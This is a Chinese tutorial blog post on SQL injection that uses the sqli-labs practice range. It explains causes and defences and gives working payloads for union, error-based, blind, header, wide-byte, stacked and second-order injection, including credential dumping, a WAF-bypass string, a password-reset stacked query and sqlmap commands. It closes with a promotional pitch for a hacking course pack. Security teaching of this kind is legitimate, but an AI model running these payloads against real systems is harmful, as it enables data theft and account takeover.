sql注入详解(非常详细),零基础入门到精通,看这一篇就够了

sql注入详解 目录前言? ?一、漏洞原因分析二、漏洞危害三、sql注入防范四、如何挖掘sql注入漏洞五、常见的注入手法联合查询(union注入)报错注入基于布尔的盲注基于时间的盲注HTTP头注入宽字节注入堆叠查询二阶注入六、sql注入getshell的几种方式结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没 阅读详情

前言

SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。那什么是SQL了?结构化查询语言(Structured Query Language,缩写:SQL),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)

即:注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

一、漏洞原因分析

我们都知道web分为前端和后端,前端负责数据显示,后端负责处理来自前端的请求并提供前端展示的资源,即然有资源,那么就需要有存储资源的地方——如mysql数据库。那服务器如何对数据获取了?就需要使用SQL语句这一语法结构进行查询获取。SQL语句通过特有的语法对数据进行查询。

这里使用sqli-labs作为sql注入练习靶场 —> sqli-labs安装。我们可以举一个例子,以sqli-labs第一关为例,按要求在url后面加上?id=1,显示如下

当我们改变id的值为2时,页面发生了改变。说明它将我们输入的数据代入到了数据中进行查询,页面根据输入数据的不同展示的内容也不同。

ps:url中?通常用于表示传递参数,id代表变量参数,2代表参数的值

为了更清楚的看清sql语句的执行与变化过程,我们先修改源代码,打开Less-1/index.php,在源码中添加如下语句将执行的sql语句打印出来,方便我们查看

echo '执行的sql语句为:'.$sql;
echo '<br/>';
echo '<br/>';

访问页面如下,打印出了执行的sql语句

在1后面加上单引号, ?id=1’,页面显示有语法错误,说靠近 ‘1’’ limit 0,1有语法错误,我们输入的数据 1’ 被完整的带入到了SQL语句中,即直接与原有的sql语句进行了拼接。然后执行的sql语句变成了

$sql=“SELECT * FROM users WHERE id=’ 1 ’ ’ LIMIT 0,1”;

我们输入的那个单引号和前面的单引号产生了闭合,导致原有后面的那个单引号变成了多余,而sql语法中引号是必须成对出现否则就会报错,这也就解释了为什么输入1’后程序就报错的原因。

既然我们输入什么程序就拼接什么,那我们就构造sql语句将左单引号进行闭合就好了。我们在1后面加上单引号,与左边的引号构成闭合,再接着拼接构造好的SQL语句并注释掉后边的语句 ’ 1 ’ and 1=1 – ’ LIMIT 0,1" 程序就不会报错,就可以查询我们想要查询的数据,这就是sql注入。

二、漏洞危害

SQL注入漏洞对于数据安全的影响:

  • 数据库信息泄漏: 数据库中存放的用户的隐私信息的泄露。
  • 网页篡改: 通过操作数据库对特定网页进行篡改。
  • 网站被挂马,传播恶意软件: 修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作: 数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • 服务器被远程控制,被安装后门: 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 破坏硬盘数据,瘫痪全系统。

三、sql注入防范

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常修复使用的方案有:

代码层面:

  1. 对输入进行严格的转义和过滤
  2. 使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
  3. PDO预处理 (Java、PHP防范推荐方法:)

⛔没有进行PDO预处理的SQL,在输入SQL语句进行执行的时候,web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。但如果进行了PDO预处理的SQL,会让MYSQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接进SQL语句传进去,从而防止了SQL注入

网络层面:

  1. 通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
  2. 云端防护(如阿里云盾)

四、如何挖掘sql注入漏洞

1. 注入可能存在的地方

竟然是sql注入,那么这个地方肯定是与数据库有数据交互的,所以我们可以优先观察那种页面存在传值或者查询的地方。比如url中的GET型传参,如?id=1

如我们看见这种就可以考虑

或者是搜索框,前端将用户输入的数据代入到数据库中进行查询,这种以POST方法进行发送数据。如下这种地方

或者是HTTP请求头部字段如Cookie值,下面会讲到。

2. 漏洞探测

此时需要我们用burp截取查询的数据包,找到传参的变量然后在其后面加上单引号、双引号等如下payload进行测试

#判断如下闭合方式是否会报错,会报错则肯定存在注入
=test'                         
=test"                         

#若不报错则判断是否存在布尔盲注,如果页面会有不同的显示在可能存在漏洞
=test' and -1=-1 or '
=test' and -1=-2 or '  
         
=test" and -1=-1 or "
=test" and -1=-2 or "

ps:目前网站的sql注入基本都能通过漏洞扫描器xray检测出来 ,但是这样动静太大(公网上),如果在内网中可以直接挂上xray进行检测。所以在公网时可以手动检测是否存在漏洞,然后在存在漏洞的地方打上*,接着复制整个请求包在txt文档中用sqlmap -r进行注入

补充:

get型

1. 进行url编码

如果是在burp中测试payload需要先进行url编码,浏览器中则不需要

不进行编码的话,也可以用+代替空格,#代替–+ 。 %23代表#,也是注释符

post型

如果是post型的话,我们可以用上面的方法进行编码,或者使用+代替空格,也可以不使用,直接像在浏览器中探测一样

五、常见的注入手法

SQL 注入漏洞根据不同的标准,有不同的分类。如按照参数类型可分为两种:数字型和字符型。

参数类型分类

1. 数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

如 www.text.com/text.php?id=3 对应的sql语句为 select * from table where id=3

2. 字符型:字符型注入正好相反

当输入的参数被当做字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过引号来闭合的。即看参数是否被引号包裹

例如数字型语句:select * from table where id =3

则字符型如下:select * from table where name=’admin’

注入手法分类

@ UNION query SQL injection(联合查询注入)
@ Error-based SQL injection(错型注入)
@ Boolean-based blind SQL injection(基于布尔的盲注)
@ Time-based blind SQL injection(基于时间的盲注)
@ Stacked queries SQL injection(可多语句查询注入)

为了练习sql注入,我们使用sqli-labs靶场进行sql注入学习,网上有很多安装教程这里就不演示了。建议学这个之前先学习mysql语法,不然理解不了sql语句

联合查询(union注入)

联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化

我们以sqli-labs第一关为例来学习联合查询。如下,要求我们传入一个id值过去。传参?id=1,当我们输入id=1和id=2时,页面中name值和password的值是不一样的,说明此时我们输入的数据和数据库有交互并且将数据显示在屏幕上了

1. 注入点判断

开始判断是否存在注入,输入?id=1’,页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞

继续判断,输入 ?id=1’ and 1=1 --+ 页面正常显示

?id=1’ and 1=2 --+ 页面不正常显示,说明程序对我们的输入做出了正确的判断,所以注入点就是单引号

页面会根据输入的数据变化而变化,当存在注入点时,优先考虑使用联合注入手法。

2. 判断当前表的字段个数

输入order by 3,页面无异常反应

?id=1' order by 3 --+

将3修改为4,此时显示未知的列,说明此时当前表中只有3列

?id=1' order by 4 --+ 

3. 判断显示位

以下为union注入中较为常用的一些函数和环境变量

名称

功能

version()

MySQL 版本

user()

当前数据库用户名

database()

当前数据库名

@@version_compile_os

操作系统版本

@@datadir

数据库路径

接下来测试我们的输入会在屏幕哪个地方进行回显。上面我们判断出来了表中有3列,所以union select的时候就写xx,xx,xx三个数据

需让union select前面的参数查不出来而回显后面的语句,所以id=-1’

?id=-1' union select 1,2,3 --+ 

如下,在name和password值中回显了我们的输入,这时我们就可以在回显2或3的放置放入测试语句。

4. 爆当前数据库名字

?id=-1' union select 1,2,database() --+

获取当前数据库名为“security”

5. 爆当前数据库中的表

#直接套用语句
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

显示当前数据库中存在4个表“emails,referers,uagents,users”

6. 爆表中的字段

我们这里选择users表进行进一步的获取表中的字段信息

#只需指定表名即可
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
#或者指定当前数据库名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

获取"users"表中存在3个字段,分别为 “id,username,password”

7. 爆相应字段的所有数据

#只需指定表名和字段名
?id=-1' union select 1,2,group_concat(`id`,':',`username`,':',`password`) from users --+
#字段值不加反引号也可以
?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users --+

至此,联合查询整个过程结束。注入的时候找到注入点后只需套入语句即可。

报错注入

   报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。  
   报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。

   推荐三种报错注入的方法,直接套用就行。以less-1为例子

1. group by 重复键冲

and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

提交如下,获取数据库名字

?id=1’ and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

2. extractvalue() 函数

?id=1’ and extractvalue(1,concat(‘^’,(select database()),‘^’)) --+

提交 ?id=1’ and extractvalue(1,concat(‘^’,(select database()),‘^’)) --+ 获取数据库名字

3. updatexml() 函数

and updatexml(1,concat(‘‘,(需要查询的内容),’’),1)

1. 提交如下,获取数据库名字

?id=1’ and updatexml(1,concat(‘‘,(database()),’’),1) --+

2. 获取当前数据库中表的名字

?id=1’ and updatexml(1,concat(‘^’,(select table_name from information_schema.tables where table_schema=‘security’ ),‘^’),1) --+

这里是说要显示的内容超过一行它不能显示那么多,所以在 table_schema=‘security’ 后加上 limit 0,1,显示第一行(显示第0行的往下一行,不包括第0行)

如果要看第二行则,limit1,1(第一行的往下一行,不包括第一行,即显示第二行),看第三行则limit2,1。以这个方法获取第四个表为users

3. 爆表中的字段

?id=1’ and updatexml(1,concat(‘^’,(select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit 0,1 ),‘^’),1) --+

总共爆出的字段为: id , username , password

4. 爆字段中的内容

?id=1’ and updatexml(1,concat(‘^’,(select group_concat(username,“–”,password) from users limit 0,1 ),‘^’),1) --+

三组用户名和密码。

基于布尔的盲注

布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。以less-8关为例

1. 我们输入正确的id,显示You are in …

我们输入错误的语句如id=1’ ,或者id=-1时,就什么都不显示。这就是布尔盲注,屏幕上能得到信息不多,就是两种状态

源码如下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
    echo '<font size="5" color="#FFFF00">';
    }

所以,我们构造判断语句,根据页面是否回显证实猜想。一般用到的函数ascii() 、substr() 、length(),exists()、concat()等。

1. 判断数据库类型

  • MySQL数据库表 information_schema.tables
  • access msysobjects
  • SQLServer sysobjects

用下的语句判断数据库。哪个页面正常显示,就属于哪个数据库

//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+

所以当前数据库为mysql数据库

2. 判断当前数据库名

1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+  //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+  //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+  //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+  //不显示任何数据
 
  大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符
 
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security

3. 判断当前库的表名

//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+    

1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+

2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+

3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值               
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

4. 判断表的字段

  • 判断字段个数
  • 判断每个字段的长度
  • 猜每个字段的字符
//如果已经证实了存在admin表,那么猜测是否存在username字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin)     
  
1:判断表中字段的个数
//判断users表中字段个数是否大于5
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+

2:判断每个字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
//判断第二个字段的长度   
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+

3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
...........

由此可判断出users表中存在 id、username、password 字段

5. 爆字段中的数据

  • 猜字段中数据的长度
  • 猜字段数据的每个字符ascii码 得字符
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
 
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+

2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........

一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。

基于时间的盲注

也叫延时注入。通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态,那么我们可以考虑用“绝招”–延时注入。延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。我们以第9关为例,在id=1后面加单引号或者双引号,页面不会发生任何改变,所以我们考虑绝招延时注入。

1. 延时注入

?id=1' and sleep(5) --+    

如图所示,观察请求的时间线,大概在5秒以上,说明构造的sleep(5) 语句起作用,可以把这个时间线作为sql 注入的判断依据。

2. 获取数据库名字

延时注入与布尔盲注类似,构造方法如下,提交参数

?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+

if(expr1,expr2,expr3) 如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。

代码的含义就是如果数据库名字的第一个字符的acsii值为115,则进行延时,否则返回0即什么都不返回。

页面显示延时5 秒,说明数据库名字第一个字母的ASCII 值是115,也就是字母s。

  1. 数据库名字第二个字母的判断,
?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+

与盲注类似,后面就是猜数,这就是延时注入

可以绕waf的payload

and(select*from(select+sleep(4))a/**/union/**/select+1)='

HTTP头注入

常见的sql注入一般是通过请求参数或者表单进行注入,而HTTP头部注入是通过HTTP协议头部字段值进行注入。http头注入常存在于以下地方

产生注入的条件:

- 能够对请求头消息进行修改

- 修改的请求头信息能够带入数据库进行查询

- 数据库没有对输入的请求信息做过滤

1. User-Agent注入

User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中。

以sqli-labs less-18关为例,登录用户密码:dumb ,0

1.1 判断注入点:user-agent值后面加上’,引发报错,确定存在sql注入

1.2 采用报错注入函数获取当前数据库名

' and updatexml(1,concat('^',(database()),'^'),1) and '

2. cookie注入

cookie:服务器端用来记录客户端的状态。由服务端产生,保存在浏览器中。。以sqli-labs less-20关为例,登录后

2.1 首先判断注入点,加 ’ 单引号报错

2.2 采用报错注入函数获取当前数据库名

' and updatexml(1,concat('^',(database()),'^'),1) and '

3. Referer注入

Referer: 是HTTP header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

以19关为例

1. 判断输入点,加单引号引发报错

2. 使用报错注入函数:

‘ and updatexml(1,concat(0x7e,(database()),0x7e),0) and '

方法都是一样的。

4. X-Forwarded-For 注入

X-Forwarded-For(XFF): 用来识别客户端最原始的ip地址。

宽字节注入

宽字节案例引入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。 使用?id=1’ 进行测试的时候,发现提交的单引号会被转义[\']。此时,转义后的单引号会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。

接着我们查看这关的源码,发现传入的id经过addslashes转移函数的处理,所有的单引号双引号字符都会被添加转义字符。接着在带入到数据库查询前设置了mysql_query(“SET NAMES gbk”),即设定字符集为gbk。漏洞就是由于这个设置导致宽字节注入。

仔细看该函数,其利用正则匹配将 [ /,'," ]这些三个符号都过滤掉了

而我们要绕过这个转义处理,使单引号发挥作用不再被转义,有两个思路:

  1. 让斜杠(\)失去作用
  2. 让斜杠(\)消失

第一个思路就是借鉴程序员的防范思路,对斜杠(\)转义,使其失去转义单引号的作用,成为普通的内容。第二个思路就是宽字节注入。

关于编码

在理解宽字节注入之前,我们需要先了解编码的有关知识,

  1. 某字符的大小为一个字节时,称其字符为窄字节.
  2. 当某字符的大小为两个字节时,称其字符为宽字节.
  3. 所有英文默认占一个字节,汉字占两个字节
  4. 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等

宽字节注入

宽字节是指多个字节宽度的编码,GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。

由于在数据库查询前使用了GBK多字节编码,即在汉字编码范围内使用两个字节会被编码为一个汉字(前一个ascii码要大于128,才到汉字的范围)。然后mysql服务器会对查询语句进行GBK编码,即下面所说的

我们在前面加上 %df’ ,转义函数会将%df’改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c’,而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ’ ,被认为運’ ,成功消除了转义函数的影响。

  • ’ %27
  • \ %5c
  • %df\’ %df%5c’ =》 運’

我们输入 ?id=1%df’,按道理来说将转义符吃掉了,结果应该是 id=’ 運’ ’ ,为什么这里转变成了中文后后面还有一个反斜杠了?那个反斜杠是哪里来的?

其实这个是浏览器显示编码的问题,我们将浏览器编码切换为GB2312即简体中文,如下就正常了。

联合注入如下

GB2312与GBK的不同

gb2312和gbk应该都是宽字节家族的一员。但我们来做个小实验。把源码中set names修改成gb2312

结果就不能注入了,我开始不信,然后再把数据库编码也改成gb2312,也是不成功的。虽然执行的语句还是显示被转换成了中文了,但就是注入不成功

为什么,这归结于gb2312编码的取值范围。它的高位范围是0xA10xF7,低位范围是0xA10xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以自然也是不会被吃掉的。

所以,把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有0x5c的编码,就可以进行宽字符注入。

宽字节注入注入方法

1. 黑盒

就是上面所述的,在注入点后面加%df,然后按照正常的注入流程开始注入即可。如果我们需要使用sqlmap进行检测注入的话也需要在注入点后面加%df然后再用sqlmap跑,否则是注入不出来的,如

sqlmap.py -u "http://localhost/sqli-labs-master/Less-32/?id=1%df%27"

2. 白盒

查看mysql是否为GBK编码,且是否使用preg_replace()把单引号转换成\'或自带函数addslashes()进行转义

如果存在上面说的,则存在宽字节注入。

宽字节注入修复

  1. mysql_real_escape_string

听说这个函数能抵御宽字节注入攻击。mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集。

‍于是,把addslashes替换成mysql_real_escape_string,来抵御宽字符注入。但是我们发现还是一样注入成功了

为什么,明明我用了mysql_real_escape_string,但却仍然不能抵御宽字符注入?

原因就是,你没有指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

mysqli_set_charset(connection,charset);

参数描述
connection必需。规定要使用的 MySQL 连接。
charset必需。规定默认字符集。

这样就防止了注入

即先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string来过滤用户输入。

  1. 设置参数,character_set_client=binary

  2. 使用utf-8编码

堆叠查询

堆叠查询也叫堆叠注入,在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。以sqli-labs第38关为例

执行

id=1';update users set password='123456' where id=1; --+ 

意思就是再更新id=1的用户密码为123456。如下成功执行了更新密码的语句

堆叠查询的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。如上面的实例如果我们不输出密码那我们是看不到这个结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息

二阶注入

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与—次注入攻击漏洞相同的攻击威力。

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

总结,二次注入就是由于将数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后提交第二次请求时与第一次提交进数据库中的字符发生了作用,形成了一条新的sql语句导致被执行。以sqli-labs第24关为例

sqli-labs less-24

1. 如下点击注册用户

这里注册用户名为 admin’#

此时我们查看数据库,注册的用户已经存储进去了,并且admin的密码是DDD

2. 对注册的账号进行登录然后修改密码为ccccc

此时提示密码已经成功修改了

此时我们发现反倒是admin的密码被修改成了ccccc,而我们注册的用户admin’#的密码并没有被修改

漏洞原因

1. 在进行用户注册的允许存在’和#这种特殊字符

2. 在修改密码页面的源码中,发现这里很明显存在注入漏洞

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

当我们登录账号admin’#并修改密码时,这条sql语句就变成了如下这个样子,#把后面的代码都注释掉了,所以修改了用户admin的密码为ccccc

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

零基础入门网络安全/信息安全

【----帮助网安学习,以下所有学习资料文末免费领取!----】

> ① 网安学习成长路径思维导图
> ② 60+网安经典常用工具包
> ③ 100+SRC漏洞分析报告
> ④ 150+网安攻防实战技术电子书
> ⑤ 最权威CISSP 认证考试指南+题库
> ⑥ 超1800页CTF实战技巧手册
> ⑦ 最新网安大厂面试题合集(含答案)
> ⑧ APP客户端安全检测指南(安卓+IOS)

大纲

首先要找一份详细的大纲。

img

学习教程

第一阶段:零基础入门系列教程

img

该阶段学完即可年薪15w+

第二阶段:技术入门

弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞

该阶段学完年薪25w+

img

阶段三:高阶提升

反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练

该阶段学完即可年薪30w+

面试刷题

img

在这里插入图片描述

最后,我其实要给部分人泼冷水,因为说实话,上面讲到的资料包获取没有任何的门槛。

但是,我觉得很多人拿到了却并不会去学习。

大部分人的问题看似是“如何行动”,其实是“无法开始”。

几乎任何一个领域都是这样,所谓“万事开头难”,绝大多数人都卡在第一步,还没开始就自己把自己淘汰出局了。

如果你真的确信自己喜欢网络安全/黑客技术,马上行动起来,比一切都重要。

资料领取

上述这份完整版的网络安全学习资料已经上传网盘,朋友们如果需要可以微信扫描下方二维码 ↓↓↓ 或者 点击以下链接都可以领取

点击领取 《网络安全&黑客&入门进阶学习资源包》

【网络安全】SQL注入详解 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。 阅读详情

相关推荐

sql注入一般流程(附例题)

在与服务器数据库进行数据交互的地方拼接了恶意的sql代码,达到欺骗服务器执行恶意代码的目的。本质上是程序把用户输入的数据当成了sql语句执行。

Battery的博客 14万+

SQL注入详解

针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序意料之外结果的攻击行为。 其成因可归结为以下两个原理叠加造成: 1、程序编写者在处理程序和数据库交互时,使用字符串凭借的方式构造SQL语句。 2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。 SQL注入的攻击方式分为:报错注入、布尔盲注 、延时注入、堆叠查询、联合查询 、二次注入等等

qq_48904485的博客 2万+

如何在Vitis 2023.1上快速搭建LWIP Echo Server(附YT8521S PHY调试心得)

本文详细介绍了在Vitis 2023.1开发环境下,基于Xilinx MPSoC平台快速搭建LWIP Echo Server的完整实战流程。内容涵盖从Vivado硬件工程配置、Vitis软件工程创建,到关键代码剖析与定制化修改,并重点分享了调试非标准PHY芯片(如YT8521S)的宝贵心得与常见问题排查方法,旨在帮助开发者高效实现FPGA与上位机间的可靠网络通信验证。

weixin_29250403的博客 136

【SQL注入】小白手把手入门SQL注入1-数据库基础

数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。关系型数据库关系型数据库是基于关系模型的数据库系统,使用表格(表)来组织数据。数据以行和列的形式存储在表中,每个表代表一个实体或关系,每一行表示一个数据记录,每一列表示记录的属性。关系型数据库使用结构化查询语言(SQL)进行数据的查询和操作。关系型数据库中表与表之间是有很多复杂的关联关系的常见的关系型数据库有等。非关系型数据库。

开水的博客 5532

恭喜,恭喜,iMouse爱鼠XP版全面发布测试,苹果手机自动化测试必须

电脑控制苹果手机,免越狱,免签名,自动化测试

qq_41057894的博客 1063

全志 T527_Android13 编译 [ 避坑必看 ]

